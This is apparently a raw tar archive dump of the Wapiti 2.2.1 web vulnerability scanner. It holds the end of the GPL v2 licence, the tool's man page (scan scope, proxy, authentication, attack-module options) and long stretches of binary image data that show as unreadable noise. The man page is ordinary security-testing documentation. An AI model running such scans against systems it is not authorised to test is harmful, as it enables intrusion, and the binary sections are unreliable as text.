(or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. wapiti-2.2.1/doc/0000755000000000000000000000000011316442220012247 5ustar rootrootwapiti-2.2.1/doc/wapiti.10000644000000000000000000000754311316442220013637 0ustar rootroot.\" Man page for the Wapiti project. .TH wapiti 1 http://wapiti.sourceforge.net/ "2.2.1 Version" http://wapiti.sourceforge.net/ .SH NAME Wapiti \- A web application vulnerability scanner in Python. .SH SYNOPSIS .B wapiti ROOT_URL [OPTIONS] .SH DESCRIPTION Wapiti allows you to audit the security of your web applications. .br It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data. .br Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable. .SH OPTIONS .TP \fB\-s\fR, \fB\-\-start\fR=\fIURL\fR To specify an url to start with. .TP \fB\-x\fR, \fB\-\-exclude\fR=\fIURL\fR To exclude an url from the scan (for example logout scripts). You can also use a wildcard (*) .br Example : .RS .RS \-x "http://server/base/?page=*&module=test" .RE .br or .br .RS \-x http://server/base/admin/* to exclude a directory .RE .RE .TP \fB\-b\fR, \fB\-\-scope\fR=\fISCOPE\fR Set the scope of the scan: .br .RS .RS page : to analyse only the page passed in the URL .br folder : to analyse all the links to the pages which are in the same folder as the URL passed to Wapiti. .br domain : to analyse all the links to the pages which are in the same domain as the URL passed to Wapiti. .RE If no scope is set, Wapiti scans all the tree under the given URL. .RE .TP \fB\-p\fR, \fB\-\-proxy\fR=\fIPROXY_URL\fR To specify a proxy. .br Example: .br .RS .RS \-p http://proxy:port/ .br \-p socks://proxy:port/ .RE .RE .TP \fB\-c\fR, \fB\-\-cookie\fR=\fICOOKIE\fR To import session cookies from the COOKIE file. .TP \fB\-t\fR, \fB\-\-timeout\fR=\fITIMEOUT\fR Set the timeout to TIMEOUT (in seconds). .TP \fB\-a\fR, \fB\-\-auth\fR=\fILOGIN%PASSWORD\fR Set credentials for HTTP authentication ('%' is used as a separator). .TP \fB\-r\fR, \fB\-\-remove\fR=\fIPARAM\fR Automatically remove the parameter PARAM from the urls. .TP \fB\-n\fR, \fB\-\-nice\fR=\fILIMIT\fR Define a limit of urls to read with the same pattern. .br Use this option to prevent endless loops. Must be greater than 0. .TP \fB\-m\fR, \fB\-\-module\fR=\fIMODULE_OPTIONS\fR Set the modules and HTTP methods to use for attacks. .br Example: .br .RS .RS -m "-all,xss:get,exec:post" .RE .RE .TP \fB\-i\fR, \fB\-\-continue\fR=\fIFILE\fR This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default filefrom "scans" folder. .TP \fB\-k\fR, \fB\-\-attack\fR=\fIFILE\fR This parameter indicates Wapiti to perform attacks without scanning again the website and following the data of this file. The file is optional, if it is not specified, Wapiti takes the default file from "scans" folder. .TP \fB\-u\fR, \fB\-\-underline\fR Use color to highlight vulnerables parameters in output. .TP \fB\-v\fR, \fB\-\-verbose\fR=\fILEVEL\fR Set the verbosity level to LEVEL. .br 0: quiet (default), 1: print each url, 2: print every attack. .TP \fB\-f\fR, \fB\-\-reportType\fR=\fITYPE\fR Set the type of the report to TYPE (values are xml, txt, html). .TP \fB\-o\fR, \fB\-\-output\fR=\fIFILE\fR Write the report to FILE. .br If the selected report type is "html", this parameter must be a directory. .TP \fB\-h\fR, \fB\-\-help\fR To print this usage message. .SH LICENCE .B wapiti is covered by the GNU General Public License (GPL), version 2. .br Please read the COPYING file for more information. .SH COPYRIGHT Copyright (c) 2006 Nicolas Surribas. .SH AUTHORS Nicolas Surribas .br David del Pozo .br Alberto Pastor .SH BUG REPORTS If you find a bug in Wapiti please report it to http://sourceforge.net/tracker/?group_id=168625 .SH SEE ALSO The README file that comes with Wapiti gives more detailed informations on the options. .\" Vim for teh win! wapiti-2.2.1/doc/class diagram.png0000644000000000000000000002001311064715471015456 0ustar rootrootPNG  IHDRjأPIDATxy| ^lCDM-j q&/}U%>RV[GVCA44Qhф"n&{%;z>ϼ߳~JE`A c 5n-݂0rK@X,0~ #/((tC@T*UcF0+Wnpç0|y@cC~p~JJeP>jDԥK(}*^>*EG/`ʕ_jO!#98ssܿ˗e;1243gcQQIhK #otUD@]њ5==nܸs"0a'LL֭zR&.Y2)"ѣ?ŽCD}$fyL_XX½eQQs]zuܹc,"+0W}|w< 8qeJJCnGDSΟbذٙTUU;99*Uڂ]ǎKK$a#F,$ҊDdggGDuuuSRR2m;cǒHR+*lee?򨨹?j7Oٹ{Z&s>'{ "e˶Ϛ172 )U))Oὂyн{Œ x##KKrso2POaNw2ƞLH+Oql 'htFOq[Џ>SDL'@#Ч_* ^E̳:趂uA0vP/:ˉxOrǜy*N(`]OKk̠1E,O9E( N}2XjӸVg>Y/}o (jL/ .ܚv 5qAlXKʝE~~ӫ (`3Xj=@FY& VʲR8od(P>*XI5 &%0~"$b;*:cV'uKx'R_kחz%}Zx2;Uۃ 0V\, 4l3fӫ,Ƌ%kfX=U MƋeS*„>ѠX6 vdL?lt>k}$v z`&(Q/Nڡkb}=FO>0 '8t}Q(Ͽ!GΨjE4|9 tF&O|m7"H3*"w*) d5 [:i|2d:`3@ c#88|P ٱM El> ,tF˪|SІΨ0YoEԂﰂԀ>+=l #3*(x*哈$TM0 tFúv'JmQ j!·hZ ii*ؑACgԲT͔O{.8tF-Hrm|b-4UР3j)bV]>ITM>tFhOZcĦ/4lBgTuOl낂1 v6%ȵ)׀AgɈ|bO-X=tFxN|$6hcɩPOl`mT?+mT u6aWP1OlD@g1T˧Pf[;:f'S#. \}BdP,ApDDl BL>d73#t, ')#Ϝ,D\guQXDTAALgD )~{a^^хGi #={#4h`GÆ%ݾ}}!SDRZ0r_r>a3E5nrzx:"Aپ0p{x mvv$oii'z~mDթӤuRا4RƩo#Cӓ( i.7?\6,;1Mfm%9]&(t&B14ҡ#_5J6-mٺuO_ \lr]]ݐ!_/l&04EQQgh~p~JJ寙m--]}TBD99-"},Fa÷Q..?xyΜM_ݾmڌ[o4+'LXQWWײ_xx[&'ZU.;qɹ{ .Sg"CJmݽD"83 Re߸ I$UUG9SZ{{aDԥK(j_WJݾ}K֮X1E{JN*DFҥe^Qr//}۶-NެReѭ[۶mAD7 4$MIy[c:ell/wwW~u:gR"rwweַ׬ަM}SǏo!)6ԩ1D4cFxcV:&j' l%%͚ѢE٧[ζMϱӥRIe2&&'碏L)ջv#5k{zݸq lz<(&gbb|nQ~~},џ!>}SS[E}AЎ!U+,*{ܸ\:xZ" x޿/0Їa":;D.n&͸񻺺վ}ܹG{'ѽO"Zv-76qcbz޼_?Đkn/^YO'_MDJe>-Q(M[9L"aO_W޺uždxxHǎ4:6K}}?x4gr؃V!,)"rskFDlHJ}m_֮ݓuJ}~gǃ**eeٯ>>vHշUA۷]vvvDӭHJ(-{MMDyyuDtr>3˳DR>`7;^EDC>oлUE^rԿkD4֥8ќ9kDXwyN&sUTIIz":*(֔)G7yyxИ+o&MZPT͘7ruuuG/5k..No{xH{.NLDry"R({jj̵o[ۍ>~ٲYY?'$t1ÐRYw\:Wޚ9s=g.}nǎCZbD(k𞁁>W䓌k[Xx?3s_U44/`50كu93+')gg-[6yΜMoǛ5s9yMޞ[şn^چUE5o_$j;55ގ4>bϠ>4rԫ׳//+{23E._AsĊ&n+ڶ#;v .((|9%K&}Mٳ}w=>"8nL"j:;vxpJ1F;;;z,_W|Re_u||OO7{{;+}v!qVlW툋!kg̘~t+oyV_}ɋM$W_E}NNbρySrr6vۋ'& 49hs3z=;w {e"ڳgJ׹O!g/*77eذܚ999v!#c۩DʕShp*8ĉ%Bq3yoqGxz98?Tx$ΊݽIwz -%V#YV=aFDs~Zf:{h'ɓldɩJĥYɠM\#H̘Sgs~tcrڎ^;t#G\\.URv'AN!ק[aÞ_5MD E2hv؛} #F;d73m `"O| `(C0~iRJAC{3w/D ;d73w[Ŋ;=zLp{/B$;d\F)AA^CCϞ3]]I$Q]NY~;jXDsaÒ*)mÏUlޜ6sf9sF/Zi!b EWn"11ތ+i-[%%}!=\\~9/9yرDmc#9*+3هAA))o:99|q\ޙ2&gBڿ9Y b 2h.$Kyfx뭭AA񮮃~zwߝ%ļպ/NΗэwdC<=MB]NҲ̳ʤ>p}|ܥRIޝvZƈ\\؛q՟8%wũ[b4DRACdzk.l+/?4n̘ŏ+>pv@׾}?~C/2d~hhН;{ݛYY?EEu;jY㸸&6~ZS~?百d b 2h.6Isw}|b||b/֮4h9_1 Ö>ӧ+**Y:A"qvttxgr&N\g0"wͭ wvʴikֲiFI#U}oDRACԠ-o(UD{+*u͹o{J~yy%O{Ç~3oذ{hy.CooYYcm̎ k~:Z"Z5;L֌2kEB}JyyFLH2(vȠ t>}|܃||e2W7f}__.__`_/*(ؕM*ɭC/ u.{Zx+dJ%ii9CooY@?kƶmεc=uZWo=# b 2h.}=H[ Ç=yW//lu$"ׂ)U5?x{gVֺmY I$˗v%%*+g斖VpQ([UU5O㣢sr.rkkNmpSb4DRACv"iR;,lb~O>Lkvc_=c֭5|]F˗}}nْ.͛{geۼ9mÆoh؏>iӞQ^^ k.?dH;I$(ֽ{O_~9*#R$G!!h!b DQ9۵k9mp";/sHD҈H612 fo$MOѣ ??O"un˖~"İ;EH2uȺq?%"A/;dPAs?6]>@7m4wxz2atlqtaIC>} }Nꫣ;2?nʔKJӏ5"btPDĴ_D4l")vȠ!P֭w5MS ;%?h޼#-[z%JK>޽P*+ߊS\hҥ:998UVf7ooفE~u`oǎ_Lo3"iHZ 2 6dPD6F98؇? n8+&c_}nIɣ??=zT8R&sJ%BYb|m~~'<|wC$;d ">Y3gQ(V1޽f\Nlڴ/iهC$9"B "lxT*quu!Ⲳ E6ww" ܲ "***8qĉ+kهC$9"B ".d6"ڵ[{s}NDFvUU@ԩ1(>l" $dԈlO$e&Ϝ>=RY_4vwwĉ_/\bU]]s͛ӺvmdzF6;dPA0iylHnSdYY\\d2K0o>KY#K H2(v ʦ,I0?! {3ʧ&{C'!$2(v@qE3DRAC}(]@ACpʥNIENDB`wapiti-2.2.1/doc/wapiti.xmi0000644000000000000000000022623011066177201014276 0ustar rootroot umbrello uml modeller http://uml.sf.net 1.5.8 UnicodeUTF8 wapiti-2.2.1/doc/class diagram 2.png0000644000000000000000000054013711066177201015611 0ustar rootrootPNG  IHDR9Q IDATxw\g^  (Xh)(%V. XK F[M(*r߽<E~nnv]ooZZZ!(#@)P3B!9vtu-::"ʼ#@ufBu:9C@WKK=Ett,!B!M*P^BŠfkhL('O/''ZBBOFB!uKOKQ䟨E߾3Oe`kll:r?,QPq;w_&!D}&8V|| --B00/U2MQQv !BRRꩩo]g%ܨQ<<oQ}}C@ |U)L?8V|"#_?_NNFIILIɁdsrGJ]]CDDܠAu;.edlڮƪѺ3RS|"B} `bfVaa9?o@JʺG >>!]{(s NN{v?.ѫ%$Ԝ֭;Lobo5w.yyq㼹/Yr%&oޓ{޽IJVQc:;v"uf]] };vO%11kҤQ'( ƪ<=\yxԨϞ踦#B}.d^M.<uu NΙUVVjǎ`2`IFƻ!@VYdee6MMͻw  yߜ|[[+l))9W>g7уS0z `HE0ttԋ%l+x:SS=׊יB6lj| B y'//jՔo>'cUFgSZlF2sxy544644oʋJJ*nxRLL#:@, vl?5bb&B!&2j߾ ]#>,X@w…W<|~(++uue]]5nwӦYxÇz/v> = adysQ@0 fn<;((| > {0FFM9*2o BGB3ijj^X1YAAVW ͫA MHt韼:O߾׮=jnf= THCC#/=mnҿB!U_ ?feJ}o_  yd`0/--JN l@  ,lllJIy KN`+**'哷hiK9U)V'7!Z !ԙ{Y"cU,+99خ!SV>:vzJ託T@yy5Ғ򺩩YQĉN 3ggh/XB/&&&$$ΞԜGӦ!Hvv+WN&tu5ߒe `22UU`P|=7n˗d`TSLL/[6)::Ӥlik7?C ބ=~׊A @PzUNv˖5i$dgUW5Bحs9`6EQ#Gȗ-7lآ=349p`i].vPB!>/XA/QQ 1G͍ϟ':uOGG`0LٲukΝ j(\t#FxĤ-^yUKf+&Z;HjBuw/ sܦs6][7閖,iiɵkJ]ѣNz?[KK vrb/\?hP22-##ATT/**C!B U!oǍ7o̲vȊ==s癔͛g߳gKFSS5885k\@ZbǏZ3' W>:~|… B q^B!BV#::PWcU!B!Z.3=ѱ | B!B֑dwt ׫B=PTGGPׅSogBsyU\ρ2B~;#BP'攘ry՗!B!7ǪBu\MMULgB!B!.@:fQQmlGUB!B[v:켉~|e@nnɧjjN;v/44ܽշLyy{77ߺef!+kp$[wBEe)`wrٳw{Ԝv:3bԩ[GG--[O!B!Q8V5u꘿~^YYͬ ZXq{^?}K/<9@^c__zu)hllrp5ş/?qӧIKN>UV?LU_=llzDԠAApJ558 !B!'±*(MM\݋45Ջ|}C/?h\]-Ϟ6̙;c 7A_dhC^(od/K ?Ta0>;kjEE24嗟<=ښ:L@"//C^HIIWBˡ;:BU!Y,Zh#Ϗ&O6_hnn+>= jjJ)))~޾-$cLJ[bp$} +ٹ}{Д) >G!P;hy B(s/MEEhΜz_SRۼ9RSߐ̹szǎ)STOZZrs,+**58ԩّ/Y,VnR22,K*QJJrYY۰!B!ԩmd~Ӆ19&&[rtt*w:L맫S:֭[kX,VGI֙/>3g!:BZ޹jI27v'%e9QNu[QQ9 ǏabɜcӦY &&XNi޽ff*+ki¸=&o4K*Y[u-]z@Az6G!:772?ru6{61ʼ==vݻ~HgX`2 <FQDE-G켅 :z^bVqtSCΉjii( 2@賠Bm#zMMΟRÀs /}Рy^^..$ŋWGx괺2#"/-)61aY;23ېꢢ='VUݔWWccuE*kllZ5Ӌ}!$33gښ|Z! =!BT\\QX{3QPPjgNEegIIXO9ihLOOk`K@A5k^a+Br[||pD ,)/B¦=MZz+J0 nnzzg =,أ쨩r^4)ɰ ֳWMRa;CWwFyydĬ='IJKJ'&f ԇnllYYYnn|}**UU]{,EEgO ϖޘ?FGLU*ey#=5j{yy{ tkSQd:9sG\ܲ|N!B]U!B!ĩfiyyW޾T^^}5غ5S))ǎ]ٳ{n{%%eCC]v*Ĥ䍋"w%$d 23֮1o;w!}}N}k'S/wNN>b32ӦMSXxmqk74Qa^zn0sQSSe>:Ýn^^'||f6@llA}kYY)9&LYXx˕<._<[koG;аwD}}}T."""鮮ۜ,-^\{"^ap {5a˖?S_<|˪Guu >!±*B!4im] mlz ̱|FtثSq?4{DD\rr…$&#㝑Qo92==k 3fX_\]]ǯE Zq:*ZX 7=<)~9:;,5URRA&"K}}ƦbnnPPP_Baf6ZZZiiiIH 0&2IwY,ܧ3}HEnbd[Ctt ťOlNklΝ(Xms$~YY)u92wZH2UJHct#>ǝ3!!SDq]x0~K["YY=KIizgKչ]6_gTYs㨸~7P_XUUK{y6AWWɓ Ǔɑ[xM!XBߐ[jj d:`B!4cUqqO>,KOOS\\v؄ #g4Wd tWbb֯.S ݯLrr2L pvއ% Jɀ.^c򘢨 O<#OHtsqeϞD"Sdd$/;CK˅,!!6`@/--52%ƾXϜ  @n"y2ٖ_ol)Q}0$b%'8UJ|=ȡCٙ/p5%}AaNN#fCBB_`ٲŪB2(hyji\)@SS3sjچtzuGkDˡAB>Ϸ7w.l15kmŋ\ju=z/7oIw*N p#<ř3;:"89ΫBKwp𖓳ST7kef!+kpc9ll'/G={j@55]Όᡣ:u&pw-/GK%0VvFQgpg{#m[♓ܯ'|]ffԂRooo0g-T!̲[7v [DEEQccyRnjYA?E/<9=*DXZMo6"YvZ!P;Gߗ|}PL y5hjEES6GH?ZJJ }}xc B!B U!Y,Zh#wz7o YdN[bȀJB~ھ(UBdbTNW7 B VG21鯪WWiIKK}bEEߙ:ՂD<[[䲲޷aC>֍:8Pcb:o-SәLgr?]5"["װX68{QYO؎:ld-0/dԨe S/>3g 8V`0v&%ec‰ &&XNi޽ffMSxgmoݺiKPPކ>:CTvRZZW%&,))넄LDWmgoC-B*+z_9Y,t}}-j:L0[p(RjɓaeOTԢ--(E\ymGzE{^Ηld a+{ S)+ lz4qDh蓪Z~@4--0kցu<9‘}^yyWUomu@m7lIvutu=B_ qp !Jkj/w!!!SWWCBBL2ED}=`6IyUhWNc-8`/YSSUZZ#`,YQ5I)**/ ,[6TimgNnvy<寿EQ?W11i?"gHl/~TK9_hnfuFn3!+p AC۱Rl͔mmMxfyU!:-EP+&''ܹܿ#F>|Ϝ9ӆ1/\@L2ҲkMMGGJ`X^^~**L3g[t^9t!k]a-N IDATE]]yÆ+V|8[(#cCĉk5 11YS_ЅI[{ѣWɓa+|f:WAA:RR66%%s=ʎ.EN 0a={$%+뽞,F߾3tugWX_LJLsbeeͽ{̋>tcrrSyyuhlMMxbb֠A}&nn|}**UU]{,ECr#oHbР>uu::ѩAF-SUux񁀊{zkjjHOM}ceZA^^b%G478R~;ߩkXrV;G8\w8m;Ν;N lhhkjbb;FZkkRF;~ű*BNs3(?ĉ޽f͚ز/Pu#́ƍϞ-.(j?`˖?S_<|˪@_WRR)!4IZ۵k@LLI"7ѵeg];cw}ee׵׮=N2GG._|j 犊k]yRyycHiӦ),`еаw^=7l9qA2}/>>3u6VRRd44z$'gǪB!VVV3gΜ:u*XbԨQVVV'O?ӤI6mas皙7.$$;v\rܸqׯ_?t萗׸q {n%%%Usuttnjj"2ö#Fpvv~)p#L>'Mڤ쨬m[}kzg ]WΟҳgwIIɓͣS ս =W۾}1-66}@^Zȋz_~9^SSU\\l<{bH\\ό!CtI޽377a()YY LoG(jw ׎{t 06GV+KNY݋F10蕒ϟDG;ALc&#㝑Qo92==k 3fX_\]]ǯEFF}M>M%&&ʯuqq7ik`{{SC̉W3 ؽySX]]W_(**2th_.މN ~Ȯ_NzwV;G8\yu| Ka dp7WlyB!"III""",kŊ?ïZVVpBMMMKKKHIIkyxx455Xb„ {JJʢE455 (*""b޽zzz[]]maٲNMM`tп77nݺyyyݺuۛ=a{j6ѣW<=r0---Yܽ=th_UUE^YY,n}Ljo}}ƦbnnPPP_B/=ABҒ`L2$$dwFX,' $O&g=sαcrr C2TT(*v#S ..}dsXcwDڵǷm+..VUU[PV-||l-!!eK/++.8gBB] I*YY)ɐ-oLI12ꭨmذ7n>ɵ$CbbuRR6ů_n=5~پ}KwNwj~l3'.[ᨷs5 y#B"a۸'o))9yy%#FU!B}EN***JQTrr۷o,Y"&&2eʔwLr\SS1]Kvv"nz@AAf/_&ܸ;''}0ƍ6qׯ/dfUTfd;''Z^^r!@IWM47o826vrD]]WHC^wD啸zM8PYVVM=௿"R<[%--&L0zQLLǐ_뚚tzC||XZy˗np Go' 85xw &p`~񮱱iǎsmuu59.,?Z |P|s}U-<}MnܻcUu5LS\y8b! DQt Bm`0)\Nݻ/Vgg稨(???.___!!!{%{9߿'VݻwϧGs`4ӓ[yyݻ"Us&sFFÇwqƍׯل/#!!\. {zoҒ66ÜF24ICy6AĬ_]L 8P_66kdL2%>_eFW{IKgFHcI3+~rpaXzzb nnc?N_ٳ5öttuughi%$ 襥@qkϟэzzZyy%"" ̺^c 66}*92]]-#"/&ɳE ԴʪHlJ1}0$b%'琢xVsd+?P oGPN| Gp?Nwj3CCc~л_09r:E#vF; =|s4\X:E*Ro˖\~ŪjG}#( Zvf'/| R |v8wR;;SII񘘴.9G2aZ5ٙczκ.jag蒇 77_|GeԜv66^hh:8x۫9m~γm[ȑKwss%@bbK@ +qtr U[[wJ7R#Gti+W]gFq:ukcg<&YFFOo֭[0M˗#Ξ۱GH CTTWNN#SS.ܭ!1CeffZ[[9reee1c̚5V]]<(**gԨQW^jwg޵k׏?xyrDTTbeccr֢r }~#DG>xpy֭|}76698xϛgq0**u̘U tE<'gt0dH5k\>}e˻w]0M3}.Ɔ=ҒfѪK7o)Znw-ӄӧIVVPe;:v:zʁ\co,Y+O]խm%nLWPXt(EQo'..dӥK qw "`0Ngϒj3 c~ӧ[ҳ{9****M~^͛ cCDai9$66dfzҤQJJrE> Y Ǐ Z߱GH3gn(s b{,][B p*) -.IH C]a1睗嗳,LKKsitS.6 ςꒇ Oi&ΫB8~ܽA@S$+^!ǎ]+**y#64A/֍>~tȗvvߏ5]B!XBŢE9~4|JJ ē<w7~EQÆ߸mݺ66pnEB!Ԏ@:zJJr7@j/>LHٳ|YYUyyoД)`j'--{9|gT 2䲲ޓRR-^RRQ[[(U*NZee"--;!B.V͛7ۢg[?[Buj۶L^0`W\W isLMg{<!%XBQ`ܸ;))gωrrvۊG&21Y1W611PߐrrvNNu73]uӖ.=`'9r 9YIaѢ}7ٙUqLL;940ma24􉾾wxK5qF;;y7rti+ f_Ovw/ss u%uIʟ Buu9ΫBZZ?Bu6|g 8n8y~0[-/o}ikי#qXq{^?}Kbc#"ee 92'G`ȐTUruqRSSwJ55nncC^T_pѩHJvS޶&_?N䈐#R 8uzΝ jpt`io&ܽAү]{?~~k 7;vMpE4?}tSeeasTn/bǽ9fLL Bp!bkƯ-MIYQYq۶}.66ٞ>MbZȒL?``kkB##_eem>O\\L]]y'zLcCDai9$66]pK'gN4JII(7 Y(ge1YBBlϞł3Oa0 gUU q-Gr()7 MA{sȑ,,!++5iҏqq8~|UPzDiiɚ&&Sxߝǯ7w:#--B' UcR쉔 !BvjrѣW<=G2u[&S-oןE644o$Ȫ2(rصrQQwj9PO|ig[[UU{_L ךjQQ# ''S]]S!#mmuWW˭[O3䣽D^HJJohEOrmmMZ֣"w6~9DUU|!ñ* =:BF+eeyBNN`p %zPx~[))+˧pAIIO!w >bDp9E FuN 9;;o@BUU TUss Y,z:sWWzz6MKKMpo|zE,X`CqqŜ9;o:p`i ;r7vvm.!x BQԇSܫV}>55D `۶;|<3r~2SSO/! OQpx4KSRۼ9RSp,% x)) 2X"--+)eeyƽ}[L@={ΗUWMbzҒwcXQQwNn{0`m=ѣ!zkh;n߾{+>k''gGFdXݺIHX, #YϞ%[Y m[!M*`"͗+*oSLg+-رkd=H7r226RRC,ؿRs3z%8wR;;SII񘘴.9^V]455OiM)PȰ f];͛iӶjkm6vۭ9HOjiijj1̫W*ԟI9uuuꉉC.AsLh҉RZy1f+WXx|օ9k6l9jaGB_=U!FȹT][Cƞ:uW裥x-3226zzn݊$[;8x)*5kG-ϟhhL};ž%&fyhi yy%7l89m8r|鿎 ymmѣ+~deFxV2[-/o}iRӮ]gFq:ukccIyǎ`cㅆ?4 r񼧀{~캏6{!1 QQ^z:9LM}#%ܭj3TMUu!PdddnݺyyyZZZhff&++_j;vˑ466}6D}=K&e߻}ֿtر`ҤQWߑsZB!!XB (U$0֔)L1u+2?]⛝}m,[2o|UU7\]\57ϿRPpu"G*݋4is 66,\ M޶&_?N*w$?jn=%GEVV89bƍUXx5:cc#"ee 92'GxvG<v<)D@x]'L {= !^T_pwK<[_/~t߾.^'O$&&*///Gdgg566:88VTT\xq?.bbbxMз&>>COo {ǷfHJ|^GF !:| 2Obk0thߛ7QBnnyy==3g\9Y?=m֭Jv^D8>\|ڣ'BCCw 